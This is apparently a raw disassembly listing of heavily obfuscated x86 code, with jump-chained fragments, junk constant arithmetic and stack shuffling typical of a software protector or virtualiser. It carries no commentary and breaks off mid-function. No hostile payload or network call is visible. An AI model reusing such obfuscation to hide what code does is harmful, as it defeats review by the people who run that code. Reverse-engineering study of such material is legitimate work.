		mov	ecx, 17850F37h
		jmp	loc_57CE3F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 25F77F72h
		shr	ebp, 5
		jmp	loc_57A46B
; ---------------------------------------------------------------------------


loc_578B40:				; CODE XREF: ud2_____:00573FE7j
		push	6137h
		mov	[esp], ebx
		jmp	loc_5720EE
; ---------------------------------------------------------------------------


loc_578B4D:				; CODE XREF: ud2_____:0057701Aj
		pop	edx
		add	esp, 4
		push	ecx
		mov	ch, 44h
		inc	ch
		jmp	loc_578669
; ---------------------------------------------------------------------------


loc_578B5E:				; CODE XREF: ud2_____:00574DA9j
		mov	eax, 0
		add	eax, edx
		mov	ecx, [eax]
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		push	ebx
		push	edx
		jmp	loc_573691
; ---------------------------------------------------------------------------


loc_578B78:				; CODE XREF: ud2_____:00579482j
		sub	al, 0Eh
		add	al, cl
		add	al, 0Eh
		add	al, 35h
		jmp	loc_578C06
; ---------------------------------------------------------------------------


loc_578B85:				; CODE XREF: ud2_____:0057449Dj
		sub	ebp, 0DE89CD29h
		mov	edx, ebp
		pop	ebp
		mov	edi, edx
		pop	edx
		sub	edi, 2F4F16DBh
		jmp	loc_57767A
; ---------------------------------------------------------------------------


loc_578B9C:				; CODE XREF: ud2_____:0057CBF0j
		mov	[esp], esi
		jmp	loc_573499
; ---------------------------------------------------------------------------


loc_578BA4:				; CODE XREF: ud2_____:00577035j
		add	bl, ch
		pop	cx
		push	eax
		jmp	loc_575C54
; ---------------------------------------------------------------------------


loc_578BAE:				; CODE XREF: ud2_____:0057A324j
		add	edi, ebx
		pop	ebx
		jmp	loc_5759BC
; ---------------------------------------------------------------------------


loc_578BB6:				; CODE XREF: ud2_____:005750DDj
		sub	eax, 4A1E43FDh
		jmp	loc_57B639
; ---------------------------------------------------------------------------


loc_578BC0:				; CODE XREF: ud2_____:0057A9C6j
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_578943
; ---------------------------------------------------------------------------


loc_578BD4:				; CODE XREF: ud2_____:0057BBE0j
		push	di
		mov	di, 0DD58h
		sub	bx, di
		pop	di
		sub	cx, 49Ch
		sub	cx, bx
		add	cx, 49Ch
		jmp	loc_5774E9
; ---------------------------------------------------------------------------


loc_578BF1:				; CODE XREF: ud2_____:0057C1B8j
		pop	ecx
		jmp	loc_572BB9
; ---------------------------------------------------------------------------


loc_578BF7:				; CODE XREF: ud2_____:0057B371j
		mov	edx, edi
		pop	edi
		inc	edx
		xor	edx, 0ABB2667h
		jmp	loc_5780CD
; ---------------------------------------------------------------------------


loc_578C06:				; CODE XREF: ud2_____:00578B80j
		push	cx
		push	ebx
		mov	bl, 3
		inc	bl
		and	bl, 40h
		and	bl, 2Dh
		xor	bl, 0A8h
		xor	bl, 36h
		jmp	loc_578348
; ---------------------------------------------------------------------------


loc_578C1E:				; CODE XREF: ud2_____:005752FAj
		pop	ecx
		add	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5792F0
; ---------------------------------------------------------------------------


loc_578C41:				; CODE XREF: ud2_____:005756B1j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_572993
; ---------------------------------------------------------------------------


loc_578C4B:				; CODE XREF: ud2_____:0057CCACj
		and	ebp, edi
		pop	edi
		jmp	loc_5750EC
; ---------------------------------------------------------------------------


loc_578C53:				; CODE XREF: ud2_____:005799F9j
		neg	cl
		push	dx
		mov	dl, 91h
		sub	cl, dl
		pop	dx
		sub	al, 0B8h
		add	al, cl
		jmp	loc_5739A5
; ---------------------------------------------------------------------------


loc_578C66:				; CODE XREF: ud2_____:0057298Ej
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_57913B
; ---------------------------------------------------------------------------


loc_578C79:				; CODE XREF: ud2_____:00577B24j
		mov	eax, 0F070D9h
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_57698D
; ---------------------------------------------------------------------------


loc_578C8A:				; CODE XREF: ud2_____:0057AFAAj
		dec	ah
		not	ah
		dec	ah
		jmp	loc_573000
; ---------------------------------------------------------------------------


loc_578C95:				; CODE XREF: ud2_____:005780C8j
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	3166h
		mov	[esp], esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		sub	edi, 242D76F7h
		add	edi, esi
		push	ebp
		mov	ebp, 490B3490h
		neg	ebp
		jmp	loc_5731BD
; ---------------------------------------------------------------------------


loc_578CCD:				; CODE XREF: ud2_____:0057994Aj
		mov	dh, 0FDh
		xor	dh, al
		pop	eax
		xor	ch, dh
		pop	edx
		mov	ah, ch
		pop	ecx
		jmp	loc_579A89
; ---------------------------------------------------------------------------


loc_578CDD:				; CODE XREF: ud2_____:0057908Cj
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_578CE8:				; CODE XREF: ud2_____:0057CA18j
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	7F64h
		jmp	loc_57AA9E
; ---------------------------------------------------------------------------


loc_578D02:				; CODE XREF: ud2_____:00577351j
		mov	edi, 4
		push	ebx
		mov	ebx, 5E9A6E1Dh
		not	ebx
		shr	ebx, 2
		dec	ebx
		dec	ebx
		xor	ebx, 30435AD0h
		jmp	loc_578FB3
; ---------------------------------------------------------------------------


loc_578D1F:				; CODE XREF: ud2_____:0057A38Fj
		push	33DCh
		mov	[esp], esi
		push	5F0B0848h
		pop	esi
		add	eax, esi
		jmp	loc_57844A
; ---------------------------------------------------------------------------


loc_578D34:				; CODE XREF: ud2_____:005772DBj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5779A7
; ---------------------------------------------------------------------------


loc_578D43:				; CODE XREF: ud2_____:00571DEEj
		add	ebx, edi
		add	ebx, 397D3D61h
		add	dword ptr [ebx], 1
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5752FF
; ---------------------------------------------------------------------------


loc_578D6C:				; CODE XREF: ud2_____:005759A6j
		movzx	cx, al
		push	small 4A18h
		mov	[esp], cx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_578D7D:				; CODE XREF: ud2_____:00571F8Cj
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_57D837
; ---------------------------------------------------------------------------


loc_578D97:				; CODE XREF: ud2_____:005763F9j
		push	edx
		push	ecx
		jmp	loc_57AE9A
; ---------------------------------------------------------------------------


loc_578D9E:				; CODE XREF: ud2_____:00572C7Aj
		sub	eax, 25F8FFD7h
		add	edi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_575677
; ---------------------------------------------------------------------------


loc_578DAE:				; CODE XREF: ud2_____:00574F43j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 201340C3h
		mov	edx, ebp
		pop	ebp
		push	ebx
		push	esi
		mov	esi, 0C02541Fh
		jmp	loc_5777F5
; ---------------------------------------------------------------------------


loc_578DC6:				; CODE XREF: ud2_____:00574E48j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_575832
; ---------------------------------------------------------------------------


loc_578DD3:				; CODE XREF: ud2_____:00578000j
		mov	ebx, 70D854AAh
		sub	esi, ebx
		pop	ebx
		jmp	loc_57CE1D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2A63h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		push	72B9h
		mov	[esp], ecx
		push	edi
		mov	edi, 53840CCBh
		mov	ecx, edi
		pop	edi
		add	ecx, 0FFFFFFFFh
		shr	ecx, 7
		and	ecx, 740465F5h
		dec	ecx
		sub	ecx, 6DCF5CA3h
		jmp	loc_572515
; ---------------------------------------------------------------------------


loc_578E1E:				; CODE XREF: ud2_____:0057DBC0j
		xor	ch, 0F6h
		neg	ch
		sub	ch, 0FDh
		push	edx
		jmp	loc_57DCEF
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 8904EC83h, 0EC832404h, 0D4C1E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_578E3E:				; CODE XREF: ud2_____:0057932Bj
		pop	ebx
		push	eax
		mov	eax, 26D64407h
		or	ebp, eax
		jmp	loc_578FED
; ---------------------------------------------------------------------------


loc_578E4C:				; CODE XREF: ud2_____:0057B2A9j
		add	ebp, 0B412EC35h
		jmp	loc_57A791
; ---------------------------------------------------------------------------


loc_578E57:				; CODE XREF: ud2_____:00571AF2j
		mov	ecx, esp
		add	ecx, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_573160
; ---------------------------------------------------------------------------


loc_578E6C:				; CODE XREF: ud2_____:0057BD22j
		neg	ecx
		push	edi
		mov	edi, 65E352A7h
		and	ecx, edi
		pop	edi
		shl	ecx, 4
		jmp	loc_57C787
; ---------------------------------------------------------------------------


loc_578E7F:				; CODE XREF: ud2_____:0057C5C7j
		xor	esi, [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		push	ebp
		jmp	loc_57446B
; ---------------------------------------------------------------------------


loc_578E8F:				; CODE XREF: ud2_____:00574A31j
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	6916h
		jmp	loc_5763F3
; ---------------------------------------------------------------------------


loc_578EA0:				; CODE XREF: ud2_____:0057CA9Ej
		cmp	cl, al
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_578EA8:				; CODE XREF: ud2_____:0057571Aj
		mov	ebp, 782D394Dh
		add	ebp, 0FFFFFFFFh
		add	ebp, 0A1E5C7E5h
		jmp	loc_57CB51
; ---------------------------------------------------------------------------


loc_578EBB:				; CODE XREF: ud2_____:00571BA2j
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_573C57
; ---------------------------------------------------------------------------


loc_578EDF:				; CODE XREF: ud2_____:005741D7j
		mov	esi, esp
		push	eax
		mov	eax, 25FF50E3h
		sub	eax, 25FF50DFh
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_574093
; ---------------------------------------------------------------------------


loc_578EF6:				; CODE XREF: ud2_____:00572BFBj
		xor	ebp, eax
		pop	eax
		jmp	loc_573F17
; ---------------------------------------------------------------------------


loc_578EFE:				; CODE XREF: ud2_____:0057ABFBj
		mov	eax, 48D748B7h
		inc	eax
		not	eax
		push	edx
		mov	edx, 2E96549Eh
		sub	edx, 0CDF2FCF7h
		sub	eax, 68105B4Ah
		jmp	loc_57A200
; ---------------------------------------------------------------------------


loc_578F1C:				; CODE XREF: ud2_____:00573BF7j
		pop	eax
		pop	ebx
		sub	bl, cl
		pop	ecx
		shr	bl, 4
		push	edx
		mov	dh, 0CCh
		xor	dh, 6Ah
		xor	dh, 0E1h
		and	dh, 99h
		add	dh, 93h
		inc	dh
		sub	dh, 0F5h
		sub	bl, dh
		pop	edx
		add	al, bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_575FA5
; ---------------------------------------------------------------------------


loc_578F54:				; CODE XREF: ud2_____:00578519j
		mov	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		not	byte ptr [esp+1]
		pop	edx
		not	dh
		add	dh, 0E7h
		shl	dh, 5
		push	small 73E2h
		mov	[esp], bx
		push	edx
		mov	dl, 0CEh
		mov	bh, dl
		pop	edx
		add	dh, bh
		pop	bx
		sub	al, dh
		pop	edx
		push	bx
		mov	bl, 0D7h
		add	al, bl
		pop	bx
		push	ebx
		mov	bl, 3Eh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57D6EA
; ---------------------------------------------------------------------------


loc_578F98:				; CODE XREF: ud2_____:00579C2Aj
		mov	[esp], esi
		push	eax
		mov	eax, 3C9F0132h
		jmp	loc_574F56
; ---------------------------------------------------------------------------


loc_578FA6:				; CODE XREF: ud2_____:0057A466j
		push	321h
		mov	[esp], ecx
		jmp	loc_57860F
; ---------------------------------------------------------------------------


loc_578FB3:				; CODE XREF: ud2_____:00578D1Aj
		add	ecx, ebx
		pop	ebx
		add	ecx, edi
		sub	ecx, 181A3EA6h
		mov	edi, [esp]
		jmp	loc_57AEC8
; ---------------------------------------------------------------------------


loc_578FC6:				; CODE XREF: ud2_____:0057886Aj
		pop	eax
		push	ebx
		xor	dword ptr [esp], 4FE725ECh
		pop	edi
		push	ebp
		mov	ebp, 4FE725ECh
		xor	edi, ebp
		pop	ebp
		jmp	loc_572443
; ---------------------------------------------------------------------------


loc_578FDE:				; CODE XREF: ud2_____:0057D3DBj
		pop	ebx
		jmp	loc_5728F1
; ---------------------------------------------------------------------------


loc_578FE4:				; CODE XREF: ud2_____:00578114j
		shl	edx, 2
		push	edi
		jmp	loc_57BE1D
; ---------------------------------------------------------------------------


loc_578FED:				; CODE XREF: ud2_____:00578E47j
		pop	eax
		shl	ebp, 4
		push	esi
		mov	esi, 1CB428F3h
		sub	ebp, esi
		pop	esi
		sub	ebx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	ebx
		push	ecx
		push	eax
		jmp	loc_573D33
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_57D6C2
; ---------------------------------------------------------------------------


loc_57901A:				; CODE XREF: ud2_____:0057D5D1j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 3B5A0F7Ah
		sub	eax, 0FEFED97Fh
		mov	ebp, eax
		pop	eax
		mov	ebx, ebp
		pop	ebp
		neg	ebx
		jmp	loc_576C1A
; ---------------------------------------------------------------------------


loc_579042:				; CODE XREF: ud2_____:005777F0j
		xchg	eax, ebp
		not	ebp
		push	eax
		push	386Bh
		jmp	loc_577172
; ---------------------------------------------------------------------------


loc_579050:				; CODE XREF: ud2_____:00579AD6j
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_572914
; ---------------------------------------------------------------------------


loc_579059:				; CODE XREF: ud2_____:005790A4j
		push	ebp
		push	ebx
		mov	ebx, 59EB3EB1h
		jmp	loc_5799AD
; ---------------------------------------------------------------------------


loc_579065:				; CODE XREF: ud2_____:0057C91Fj
		sub	ecx, 60DA48DBh
		jmp	loc_57AA2F
; ---------------------------------------------------------------------------


loc_579070:				; CODE XREF: ud2_____:00579367j
		add	esp, 4
		add	ebx, 4
		jmp	loc_57C1C3
; ---------------------------------------------------------------------------


loc_57907E:				; CODE XREF: ud2_____:0057BCE2j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_578CDD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		jmp	loc_579059
; ---------------------------------------------------------------------------


loc_5790A9:				; CODE XREF: ud2_____:0057D772j
		push	ebx
		mov	ebx, 23C96DAEh
		inc	ebx
		not	ebx
		jmp	loc_576643
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0D7h
		jmp	loc_576E38
; ---------------------------------------------------------------------------


loc_5790BF:				; CODE XREF: ud2_____:00573937j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5790C4:				; CODE XREF: ud2_____:0057CE18j
		mov	dl, 23h
		and	dl, 88h
		shr	dl, 1
		shr	dl, 5
		xor	dl, 0DBh
		sub	cl, dl
		pop	edx
		and	dh, cl
		pop	ecx
		xor	dh, 0Ah
		add	dh, 0B7h
		push	eax
		push	dx
		mov	dh, 0A6h
		mov	al, dh
		pop	dx
		or	al, 0AEh
		jmp	loc_5736AA
; ---------------------------------------------------------------------------


loc_5790ED:				; CODE XREF: ud2_____:00578238j
		push	bx
		mov	bx, 3636h
		add	ax, bx
		jmp	loc_573C4D
; ---------------------------------------------------------------------------


loc_5790FB:				; CODE XREF: ud2_____:005787DCj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4AA06B59h
		add	esi, ebx
		pop	ebx
		mov	ecx, esi
		pop	esi
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57911D:				; CODE XREF: ud2_____:005741CDj
		inc	eax
		shl	eax, 6
		add	eax, 0E7759784h
		jmp	loc_57CDFA
; ---------------------------------------------------------------------------


loc_57912B:				; CODE XREF: ud2_____:0057C72Bj
		push	ecx
		mov	cl, 42h
		and	cl, 3
		shl	cl, 4
		neg	cl
		jmp	loc_5774C0
; ---------------------------------------------------------------------------


loc_57913B:				; CODE XREF: ud2_____:00578C74j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_579140:				; CODE XREF: ud2_____:00575F8Ej
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_57BBE5
; ---------------------------------------------------------------------------


loc_57914D:				; CODE XREF: ud2_____:005761C3j
		xor	edx, 5C746AFAh
		add	edx, 97DAF634h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		dec	ebx
		inc	ebx
		xor	ebx, 1E1F0A73h
		sub	esi, ebx
		jmp	loc_5749CF
; ---------------------------------------------------------------------------


loc_579170:				; CODE XREF: ud2_____:0057A23Aj
		bt	[esp], eax
		pushf
		jmp	loc_57A76F
; ---------------------------------------------------------------------------


loc_57917A:				; CODE XREF: ud2_____:0057392Bj
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_57C666
; ---------------------------------------------------------------------------


loc_57918D:				; CODE XREF: ud2_____:00579F8Ej
		mov	eax, 5B3D7010h
		sub	eax, 44135C9Bh
		or	eax, 340F4DB4h
		push	ecx
		mov	ecx, 55665474h
		neg	ecx
		xor	ecx, 83ECB5EBh
		xor	eax, ecx
		pop	ecx
		jmp	loc_575355
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_5791B2:				; CODE XREF: sub_59C59F-26670j
		push	edx
		push	ebx
		mov	bl, 0F2h
		mov	dl, bl
		pop	ebx
		jmp	loc_57354E
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_5791BE:				; CODE XREF: ud2_____:00573C8Dj
		pop	small word ptr [esp]
		jmp	loc_579BAC
; ---------------------------------------------------------------------------


loc_5791C7:				; CODE XREF: ud2_____:0057D296j
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	eax
		mov	eax, 52920570h
		jmp	loc_57316C
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5D7533DBh
		jmp	loc_575026
; ---------------------------------------------------------------------------


loc_5791ED:				; CODE XREF: ud2_____:00579EAEj
		sub	al, bh
		jmp	loc_57CE23
; ---------------------------------------------------------------------------


loc_5791F4:				; CODE XREF: ud2_____:00575626j
		mov	bh, dl
		jmp	loc_57D154
; ---------------------------------------------------------------------------


loc_5791FB:				; CODE XREF: ud2_____:0057991Ej
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 2
		push	5E42h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_579228:				; CODE XREF: ud2_____:0057D24Cj
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		movsx	cx, al
		jmp	loc_573FEC
; ---------------------------------------------------------------------------


loc_57923D:				; CODE XREF: ud2_____:00574E0Bj
		xor	ecx, 324F62EEh
		sub	ecx, 0BBC2D1E1h
		mov	edi, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	edi, 1
		push	0
		jmp	loc_57335D
; ---------------------------------------------------------------------------


loc_579273:				; CODE XREF: ud2_____:0057B538j
		add	al, 86h
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 40h
		or	bh, 0
		jmp	loc_577708
; ---------------------------------------------------------------------------


loc_57928A:				; CODE XREF: ud2_____:005745ABj
		shr	ebp, 2
		and	ebp, 3C8D59BDh
		sub	ebp, 0E207CB94h
		jmp	loc_579AB1
; ---------------------------------------------------------------------------


loc_57929E:				; CODE XREF: ud2_____:0057D447j
		sub	esp, 4
		jmp	loc_573571
; ---------------------------------------------------------------------------


loc_5792A9:				; CODE XREF: ud2_____:0057A152j
		push	edx
		mov	edx, 59363E92h
		add	eax, edx
		pop	edx
		push	7C43h
		mov	[esp], ebp
		jmp	loc_57CB97
; ---------------------------------------------------------------------------


loc_5792BF:				; CODE XREF: ud2_____:0057A00Dj
		add	ch, 33h
		xor	bl, ch
		pop	ecx
		push	ebx
		mov	bh, 68h
		and	bh, 36h
		inc	bh
		and	bh, 5Bh
		jmp	loc_57BFDD
; ---------------------------------------------------------------------------


loc_5792D5:				; CODE XREF: ud2_____:005789B5j
		add	ebx, 230936ADh
		add	ebx, edx
		sub	ebx, 230936ADh
		pop	edx
		push	ebp
		push	edx
		mov	edx, 4E681A7Ch
		jmp	loc_576DC6
; ---------------------------------------------------------------------------


loc_5792F0:				; CODE XREF: ud2_____:00578C3Cj
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_57C06C
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_573365
; ---------------------------------------------------------------------------


loc_57930B:				; CODE XREF: ud2_____:00577368j
		pop	ecx
		or	edx, 79A838DCh
		shl	edx, 6
		or	edx, 492C30F3h
		jmp	loc_5756DE
; ---------------------------------------------------------------------------


loc_579320:				; CODE XREF: ud2_____:0057A68Cj
		add	esp, 4
		push	ebp
		jmp	loc_5778EC
; ---------------------------------------------------------------------------


loc_579329:				; CODE XREF: ud2_____:00575B69j
		mov	ebp, ebx
		jmp	loc_578E3E
; ---------------------------------------------------------------------------


loc_579330:				; CODE XREF: ud2_____:00579665j
		and	cl, 66h
		jmp	loc_5799F7
; ---------------------------------------------------------------------------


loc_579338:				; CODE XREF: ud2_____:00575853j
		add	eax, esi
		jmp	loc_573C38
; ---------------------------------------------------------------------------


loc_57933F:				; CODE XREF: ud2_____:005752B3j
		add	edx, 7A7701BEh
		sub	esp, 4
		jmp	loc_572D8C
; ---------------------------------------------------------------------------


loc_579350:				; CODE XREF: ud2_____:005776A2j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_579070
; ---------------------------------------------------------------------------


loc_57936C:				; CODE XREF: ud2_____:00575704j
		mov	ebx, 27010A0Eh
		jmp	loc_579923
; ---------------------------------------------------------------------------
		push	448Ch
		jmp	loc_5767A3
; ---------------------------------------------------------------------------


loc_579380:				; CODE XREF: ud2_____:0057CDD6j
		add	ebx, 4
		sub	esp, 4
		jmp	loc_574216
; ---------------------------------------------------------------------------
		push	6724h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_57C75B
; ---------------------------------------------------------------------------


loc_5793A5:				; CODE XREF: ud2_____:005729FAj
		push	edi
		mov	edi, 642E2A42h
		sub	edi, 642E2A3Eh
		add	ecx, 9A8358Ah
		add	ecx, edi
		sub	ecx, 9A8358Ah
		jmp	loc_57D1C9
; ---------------------------------------------------------------------------


loc_5793C4:				; CODE XREF: ud2_____:0057958Cj
		add	ebp, 4
		jmp	loc_574FFC
; ---------------------------------------------------------------------------


loc_5793CC:				; CODE XREF: ud2_____:0057997Ej
		push	esp
		push	dword ptr [esp]
		jmp	loc_5760FE
; ---------------------------------------------------------------------------


loc_5793D5:				; CODE XREF: ud2_____:005738A8j
		push	esi
		mov	esi, 1
		sub	ebp, 616457F2h
		add	ebp, esi
		jmp	loc_57ACC6
; ---------------------------------------------------------------------------


loc_5793E8:				; CODE XREF: ud2_____:00577637j
		mov	[esp], esi
		jmp	loc_5778C5
; ---------------------------------------------------------------------------


loc_5793F0:				; CODE XREF: ud2_____:0057C58Fj
		and	esi, 7E0430DBh
		add	esi, 5A93015Dh
		jmp	loc_575148
; ---------------------------------------------------------------------------


loc_579401:				; CODE XREF: ud2_____:0057BD93j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_57D137
; ---------------------------------------------------------------------------


loc_579416:				; CODE XREF: ud2_____:0057C215j
		pop	edi
		xor	edi, 2253711Eh
		pop	ecx
		add	[esp+4], edi
		mov	edi, [esp]
		push	edi
		jmp	loc_572957
; ---------------------------------------------------------------------------


loc_57942B:				; CODE XREF: ud2_____:00572198j
		add	edi, 4
		push	ebp
		mov	ebp, 0B8D41A3h
		shl	ebp, 5
		xor	ebp, 21D15572h
		xor	ebp, 62D55B8Ch
		xor	ebp, 41470080h
		jmp	loc_5774D5
; ---------------------------------------------------------------------------


loc_579451:				; CODE XREF: ud2_____:005763C0j
		push	dword ptr [esp]
		jmp	loc_5785D6
; ---------------------------------------------------------------------------


loc_579459:				; CODE XREF: ud2_____:005773F3j
		or	ebp, eax
		pop	eax
		jmp	loc_5754A1
; ---------------------------------------------------------------------------


loc_579461:				; CODE XREF: ud2_____:005745C0j
		push	dword ptr [edi+24h]
		push	ebp
		pop	dword ptr [edi+24h]
		mov	ebp, [esp]
		add	esp, 4


loc_57946E:				; CODE XREF: ud2_____:0057A3C6j
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 184932C6h
		jmp	loc_57D1BE
; ---------------------------------------------------------------------------


loc_579480:				; CODE XREF: ud2_____:0057A78Cj
		sub	al, 35h
		jmp	loc_578B78
; ---------------------------------------------------------------------------


loc_579487:				; CODE XREF: ud2_____:0057B308j
		pop	eax
		xor	eax, 43389CC8h
		push	3DFDh
		mov	[esp], eax
		add	dword ptr [esp], 7B192323h
		pop	edx
		sub	edx, 7B192323h
		pop	eax
		xor	eax, edx
		jmp	loc_578655
; ---------------------------------------------------------------------------


loc_5794AB:				; CODE XREF: ud2_____:0057260Fj
		push	ebp
		mov	ebp, 6B1638EDh
		mov	edi, 6B1638E9h
		jmp	loc_5763A2
; ---------------------------------------------------------------------------


loc_5794BB:				; CODE XREF: ud2_____:0057A8CBj
		mov	[esp], edx
		pop	ebx
		pop	edx
		push	edx
		jmp	loc_57A7AF
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		push	20FAh
		jmp	loc_574C63
; ---------------------------------------------------------------------------


loc_5794D2:				; CODE XREF: ud2_____:00574566j
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 77575691h
		add	eax, ecx
		sub	eax, 77575691h
		push	edx
		push	eax
		jmp	loc_57DC9A
; ---------------------------------------------------------------------------


loc_5794EE:				; CODE XREF: ud2_____:005782AAj
		push	eax
		push	ebx
		mov	ebx, 2B54041Ch
		jmp	loc_5787AE
; ---------------------------------------------------------------------------


loc_5794FA:				; CODE XREF: ud2_____:0057285Bj
		add	esi, edi
		sub	esi, 46CB4BB3h
		jmp	loc_571DAC
; ---------------------------------------------------------------------------


loc_579507:				; CODE XREF: ud2_____:0057209Bj
		push	edx
		mov	dh, 0ADh
		jmp	loc_573971
; ---------------------------------------------------------------------------


loc_57950F:				; CODE XREF: ud2_____:0057C845j
		mov	[esp], ebx
		push	esi
		jmp	loc_571CA6
; ---------------------------------------------------------------------------


loc_579518:				; CODE XREF: ud2_____:0057D415j
		add	edx, 6DAF1620h
		sub	edx, ebp
		sub	edx, 6DAF1620h
		pop	ebp
		xor	edx, 0DBBFE2F3h
		add	ebx, edx
		pop	edx
		jmp	loc_573887
; ---------------------------------------------------------------------------


loc_579535:				; CODE XREF: ud2_____:00577779j
		xchg	eax, [esp]
		pop	esp
		push	eax
		jmp	loc_571F82
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_57C772
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	0A49h
		mov	[esp], ebx
		mov	ebx, 7F5E74BDh
		sub	ebx, 1
		shl	ebx, 7
		push	edi
		mov	edi, 17EE64D8h
		xor	edi, 3A446DBFh
		not	edi
		jmp	loc_57A20D
; ---------------------------------------------------------------------------


loc_579578:				; CODE XREF: ud2_____:0057D9EFj
		xchg	edi, [esp]
		jmp	loc_574114
; ---------------------------------------------------------------------------


loc_579580:				; CODE XREF: ud2_____:0057A76Aj
		add	ecx, 0FFFFFFFFh
		sub	ecx, 0D9EEC9D7h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5793C4
; ---------------------------------------------------------------------------


loc_579591:				; CODE XREF: ud2_____:005774B2j
		pop	esi
